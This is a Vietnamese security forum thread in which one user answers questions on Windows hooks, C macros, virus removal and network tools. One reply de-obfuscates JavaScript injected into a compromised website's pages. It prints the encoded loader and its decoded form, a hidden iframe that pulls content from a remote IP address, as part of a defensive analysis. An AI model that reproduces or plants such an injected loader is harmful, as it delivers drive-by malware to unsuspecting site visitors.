|
|
Mình chưa thử chạy code, nhưng có ý kiến này, bạn thử xem sao ...
Khi bạn gọi hàm CallNextHookEx để truyền tham số cho các hook khác xử lý tiếp, bạn có thể thay đổi các thông số truyền đi - nCode, wParam, lParam.
Trong đó, nCode là chứa mã ASCII của ký tự.
Thân.
|
|
|
Bạn kiểm tra xem đã tắt Firewall của Windows chưa?
Thường firewall của Windows sẽ chặn không trả lời ping.
Thân
|
|
|
Theo mình nghĩ thì ý kiến file virus đã tạo ra và bị diệt là đúng.
Để xóa cái thông báo không hiện ra, bạn có thể thử cách sau:
- Vào Start -> Run, gõ regedit rồi Enter
- Sau đó kiếm chuỗi edy.dll
- Xóa đi các key có chuối đó
- Thử khởi động lại máy xem còn bị hông
Thân
|
|
|
Bạn thử khởi động máy vào Safe mode rồi xóa xem được không.
Thân
|
|
|
Bạn thử load mấy phần mềm dưới đây về thử xem sao:
InjectedDLL
http://www.nirsoft.net/utils/injected_dll.html
Process Guard
http://www.diamondcs.com.au/processguard
Advanced Process Manipulation
http://www.brothersoft.com/advanced-process-manipulation-40655.html
Thân
|
|
|
Bạn có thể kiếm chương trình Partition Magic về dùng.
Thân.
|
|
|
Bạn có thể nói bạn làm cách nào để biết stack không bị hủy không vậy?
Trong Java thì đối tượng sẽ bị hủy khi hệ thống chạy garbage collection. Việc chạy cái này là do garbage collector trong JVM quyết định, người lập trình không thể quyết định được.
Nếu có ít nhất 1 tham chiếu (reference) đến 1 object thì object đó sẽ không bị hủy.
Thân.
|
|
|
Mình mới tới level 3, phải cố gắng dài dài mới theo kịp bồ
|
|
|
Bạn có thể vào trang này để decode online:
http://www.randombase.com/random/degz
Thân
|
|
|
Cái này chơi cũng vui và hấp dẫn.
Mình đang làm cái vortex. Khi nào bí sẽ post lên đây để kiếm lời giải ...
Thân
|
|
|
Còn một cách bạn dùng tool devcon.exe của Microsoft.
Link download
http://download.microsoft.com/download/1/1/f/11f7dd10-272d-4cd2-896f-9ce67f3e0240/devcon.exe
Sau khi load về cài đặt, bạn chạy lệnh sau:
Code:
Danh sách ID các thiết bị mạng sẽ hiện ra.
Bạn cần nhớ ID của card mạng bạn muốn disable.
Sau đó chạy lệnh
Code:
devcon disable PCI\VEN_...
Với PCI\VEN_... là ID của card mạng.
Thân
|
|
|
Chào bạn,
#define dùng để định nghĩa những cái macro.
Bạn có thể hiểu chức năng macro giống như là một hàm (function-like)
Nhưng nó chỉ có nhiệm vụ khai triển (expand)
Ví dụ:
#define tong(a,b) (a+b)
Khi bạn gọi tong((x+y+z),(1+2+3)) thì chương trình nó chỉ thay thế a bằng x+y+z và b bằng 1+2+3 và từ đó tiếp tục khai triển ra, dựa trên định nghĩa của macro.
tong(a,b)
a thay bằng x+y+z
b thay bằng 1+2+3
=> cho ra kết quả (x+y+z+1+2+3)
Để an toàn hơn thì bạn nên khai báo sau:
#define tong(a,b) ((a)+(b))
Tương tự cho hàm SLN, để cho an toàn thì có thể khai báo như sau:
#define SLN(x, y) (((x) > (y)) ? (x) : (y))
(ngoặc nhiều quá nhìn muốn xỉu )
Như vậy nếu bạn hiểu macro là cách dùng để khai triển ra thành một cái gì đó, thì nó không chỉ giới hạn trọng một vài kiểu đặc biệt.
Tất cả tùy vào bạn thôi, nếu một hàm nào đó ngắn gọn và được sử dụng nhiều lần, nhưng bạn không muốn viết riêng một hàm để xử lý, thì có thể dùng macro.
Nội dung macro không chỉ giới hạn +,-,*,/,?. Bạn có thể để các câu lệnh bình thường như if, case, while ...
Ngoài mục đích function-like (tạo hàm đơn giản), macro còn có thêm mục đích là object-like
Ví dụ:
#define PI 3.14
Như vậy mình có thể dùng PI trong các biểu thức tính toán, và PI sẽ được thay thế bằng 3.14.
Bạn có thể vào đây đọc và hiểu thêm về #define macro
http://en.wikipedia.org/wiki/C_preprocessor#Macro_definition_and_expansion
http://www.cprogramming.com/tutorial/cpreprocessor.html
Có một số chú ý được đề cập trong trang trên khi sử dụng macro:
1/ Precedence (thứ tự ưu tiên khi tính toán)
2/ Multiple evaluation of side effects (Khi mình xài (a++) thì phép ++ có thể lặp nhiều lần ngoài ý muốn của mình)
Thân
|
|
|
Bạn cần cho 2 cái ngoặc ( ... ) vào để bảo đảm là macro được tách biệt với các phần khác.
Nếu bạn không để ngoặc thì khi macro thay thế nhiều khi sẽ không cho kết quả như ý.
Mình đưa ra một ví dụ để bạn hiểu rõ:
Cách làm sai:
#define tong(a,b) a+b
tong(a,b)*tong(c,d) sẽ được thay thế và cho kết quả sau: a+b * c+d => cái này không đúng theo ý mình, vì nó sẽ tính b*c trước.
Cách làm đúng:
#define tong(a,b) (a+b)
tong(a,b)*tong(c,d) sẽ được thay thế và cho kết quả sau: (a+b) * (c+d) => cái này thì đúng
Hi vọng bạn đã hiểu rõ thêm
Thân
|
|
|
Để chạy đúng thì bạn sửa lại như vầy:
Code:
#define SLN(x, y) ((x > y) ? x : y)
Cho thêm 2 cái ngoặc (...) để bọc cái macro lại.
Macro nó chỉ biết thay thế nguyên xi như bạn lamer nói, nên bạn phải cẩn thận khi define.
Thân
|
|
|
Bạn đã thử upload lại file index.html lên host kia chưa?
|
|
|
Có thêm một cuốn khá hay về đề tài buffer overflow và nhiều cái khác, bạn tìm xem thử ...
The Shellcoder's Handbook: Discovering and Exploiting Security Holes (2nd Edition)
Thân
|
|
|
HoangTuanSu wrote:
Tại hạ xin được nghiêng mình nghe các hạ chỉ giáo!
Cái mẫu đầu tiên lỗi là format string.
Bạn tìm hiểu xong buffer overflow rồi sau đó chuyển sang format string cho nó đủ bộ
Thân
|
|
|
Ồ mình đọc sơ nên không thấy cái VB.
@anhsuytu:
Để post dữ liệu lên web server thì bạn có thể tham khảo link sau:
http://www.developerfusion.co.uk/show/3272/1/
Cái này nó đề cập đến 2 phương pháp - dùng ServerXMLHTTP hoặc dùng hàm API WinINET của Windows.
Nó có luôn phần code để bạn nhận dữ liệu trả về.
Một điều cần chú ý là bạn cần tìm hiểu xem dữ liệu POST về server trong trang login bao gồm những gì, ví dụ username, password, password hash ... để làm cho đúng.
@greenstream:
Code bằng PHP thì mình kiếm được cái này, bạn xem thử xem sao.
Nó dùng socket trong PHP để post và nhận dữ liệu trả về. Nếu bạn hiểu về HTTP Protocol sẽ thuận tiện hơn.
http://www.wellho.net/resources/ex.php4?item=h110/getpost.php
Thân
|
|
|
Bạn dùng ngôn ngữ lập trình nào vậy?
|
|
|
Mình kiếm sơ thông tin trên Google, virus này là Trojan-Clicker.JS.Agent.h
Theo ý kiến một số người thì virus này lây nhiễm vào server thông qua đường ftp, nó sẽ chèn đoạn script vào nhiều file trên server, index.htm, index.php, index* ...
Mình có hướng giải quyết như sau bạn thử xem sao:
1/ Kiểm tra FTP log ở server để xem có phải đoạn code được chèn vào thông qua ftp không
2/ Quét virus trên máy đã dùng để upload file thông qua ftp (dùng Kaspersky hay Bitdefender)
3/ Đổi mật khẩu cho ftp account
4/ Nếu bạn quét được virus ở server thì có thể quét thử để xem mức độ lây nhiễm thế nào.
Theo ý bạn đề nghị là xóa hết file và upload lên lại, cái này cũng tốt nếu không mất nhiều công sức
(nếu được thì thử dùng một máy khác để upload file)
Nhưng quan trọng nhất là làm sao ngăn chặn để việc file index.php bị chèn đoạn mã không lặp lại...
Thân
|
|
|
Bạn có thể xem bài này ...
/hvaonline/posts/list/23061.html#140695
Còn để không bị lây nhiễm lại thì bạn phải xem log để biết làm sao đoạn mã đó được chèn vào ...
Thân
|
|
|
Trên trang Microsoft cũng không thấy cách giải quyết.
Cái này là bug trong IE7 thì phải.
Bạn thử ra DOS gõ lệnh này.
Code:
Rồi thử lại xem nó còn bị hông.
Cách cuối cùng là dùng firefox vậy
Thân
|
|
|
Đoạn code của bạn phát hiện ra là Javascript dùng kỹ thuật obfuscation, mục đích là để làm cho đoạn code thêm khó đọc.
Kỹ thuật obfuscation được dùng cũng không phức tạp lắm, chủ yếu là thay đổi tên biến và tên hàm bằng các giá trị ngẫu nhiên và dài, ví dụ O10H486E2F7D05F4A, H486E2F7D06742 ...
Một cách đơn giản làm cho code dễ đọc là bạn có thể dùng một trình soạn thảo (mình dùng Textpad) để kiếm và thay thế các tên ngẫu nhiên thành các tên khác ngắn gọn và dễ đọc hơn.
Sau khi thay thế và đặt tên biến lại cho dễ hiểu, mình có đoạn mã này:
Code:
function Str2Hex(input){
function Val16() {
var val16=16;
return val16;
}
return( parseInt(input,Val16()));
}
function decode(input) {
var Val2 = 2;
var est='';
for(i=0; i<input.length; i += Val2){
est += (String.fromCharCode (Str2Hex(input.substr(i, Val2))));
}
return est;
}
document.write(decode('3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3235363735292B27346264313030613833345C272077696474683D3739206865696768743D333235207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));
Một điểm thú vị từ đoạn code trên là các hằng số, ví dụ 2, 16 được thay thế bằng các hàm Val16() và biến Val2. Đây cũng là một trong các kỹ thuật obfuscation, để tăng thêm tính khó đọc của code.
Phân tích đoạn code:
Mục đích đoạn code là giải mã đoạn HTML và in ra màn hình.
Nhìn vào hàm decode() thì đây là một hàm mã hóa đơn giản, chỉ đổi giá trị Hex từ chuỗi sang ký tự ASCII.
Ví dụ: '3C' -> '<'
Nội dung cần giải mã là
Code:
3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3235363735292B27346264313030613833345C272077696474683D3739206865696768743D333235207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E
Để giải mã nhanh mình có thể dùng công cụ online:
http://www.yellowpipe.com/yis/tools/encrypter/index.php
Copy đoạn mã vào, chọn chức năng Hex to ASCII và nhấn OK để giải mã.
Ta sẽ được đoạn code sau:
Code:
<script>if(!myia){d.write('<IFRAME name=O1
src=\'http://77.221.133.171/.if/go.html?'+Math.round(Math.random()*25675)+'4bd100a834\' width=79
height=325 style=\'display: none\'></IFRAME >');}var myia=true;</script>
Việc phân tích đoạn javascript trên thì để bạn làm tiếp vậy ...
Thân
|
|
|
Đúng rồi, cái đó cũng là thông tin về IP Address của máy bạn.
Có nhiều cách để xem thông tin về IP Address thôi, đâu có gì khó hiểu
Nếu bạn dùng ipconfig /all thì ngoài thông tin về IP Address còn có thêm nhiều thông tin khác như MAC Address, DHCP Server, DNS Server ...
Thân
|
|
|
Bạn có thể xem log của server để biết tại sao bị vậy.
Từ đó mới có thể kiếm cách khắc phục ...
|
|